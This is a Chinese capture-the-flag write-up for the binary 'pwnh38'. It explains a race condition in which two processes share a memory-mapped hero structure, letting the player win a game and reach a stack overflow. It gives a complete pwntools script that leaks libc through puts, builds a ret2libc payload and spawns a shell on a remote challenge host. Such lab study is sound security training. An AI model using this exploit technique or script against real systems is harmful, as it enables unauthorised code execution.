Play(条件竞争,多进程共享同一数据区域)
首先,检查一下程序的保护机制,很好
然后,我们用IDA分析,发现一个很明显的栈溢出漏洞
但是,要想执行这个漏洞函数,就必须打赢游戏
而,要打赢游戏,就是让*(_DWORD *)(gMonster + 8)的值小于等于0,也就是Host的Surplus要小于等于0
然后,我们看到这里有一个修改(gMonster + 8)值的地方
也就是Host和Hero互相攻击,消减对方的生命值,我们继续分析,发现gHero指向的是一个内存映射出来的区域
那么,假如我们同时运行两个该程序的进程,并且登录同一个用户名,那么,它们的gHero是同一个内存区域,那么,gHero就叠加了两种技能,于是就可以打败BOSS。执行漏洞函数,getshell
我们可以这样
- change_skill(io1, 3)
- attack(io1)
- change_skill(io2,1)
- use_hide(io1, 1)
如上代码,io1使用技能3,会导致双方的生命值都增加,当我们使用技能3 attack时,当出现use hiden_methods?(1:yes/0:no)选择时,我们通过io2来改变gHero的技能,使得执行后面的代码时,gHero的生命值增加,gMonster的生命值递减,这样,我们就能赢得游戏
也就是说,在read_int()阻塞io1时,我们通过io2改变了gHero的相关属性,使得后面的代码取得的gHero数据和之前不一致。
程序使用了类似于虚表的东西来实现不同技能,从不同的地方取数据,感兴趣的同学可以仔细跟踪一下几个技能,分别对应的数据在哪,然后找到让gHero技能递增,gMonster递减的攻击模式。我们上述的是一种攻击方法,可能还会有其他攻击方法。
打赢了游戏,就是一个简单的栈溢出漏洞,直接利用即可。
综上,我们的exp脚本
- #coding:utf8
- from pwn import *
- from LibcSearcher import *
- debug = 1
- if debug:
- io1 = process('./pwnh38')
- io2 = process('./pwnh38')
- else:
- addr = '111.198.29.45'
- port = 59829
- io1 = remote(addr,port)
- io2 = remote(addr,port)
- elf = ELF('./pwnh38')
- puts_plt = elf.plt['puts']
- puts_got = elf.got['puts']
- vul_func = elf.sym['vul_func']
- def login(io, name):
- io.sendlineafter("login:", name)
- def attack(io):
- io.sendlineafter("choice>> ","1")
- def use_hide(io, choice):
- io.sendlineafter("(1:yes/0:no):",str(choice))
- def change_skill(io, choice):
- io.sendlineafter("choice>> ","3")
- io.sendlineafter("choice>> ", str(choice))
- def god_attack(io1, io2):
- change_skill(io1, 3)
- attack(io1)
- change_skill(io2,1)
- use_hide(io1, 1)
- def pwn(io1, io2):
- login(io1, "test\n")
- login(io2, "test\n")
- while True:
- god_attack(io1, io2)
- data = io1.recvuntil("\n")
- if "you win" in data:
- data = io1.recvuntil("\n")
- if "remember you forever!" in data:
- break
- #泄露puts的地址
- payload = 'a'*0x4C + p32(puts_plt) + p32(vul_func) + p32(puts_got)
- io1.sendlineafter('name:',payload)
- io1.recvuntil('\n')
- puts_addr = u32(io1.recv(4))
- #查询数据库,得到libc的信息
- libc = LibcSearcher('puts',puts_addr)
- #获得libc基址
- libc_base = puts_addr - libc.dump('puts')
- system_addr = libc_base + libc.dump('system')
- binsh_addr = libc_base + libc.dump('str_bin_sh')
- #getshell
- payload = 'a'*0x4C + p32(system_addr) + p32(0) + p32(binsh_addr)
- io1.sendlineafter('name:',payload)
- pwn(io1, io2)
- io1.interactive()
- #io2.interactive()
本题告诉我们,对于程序中使用文件时,应该加类似于锁的东西,使得当前程序获得文件的所有权后,其他的不能在那个程序运行期间获得文件的所有权。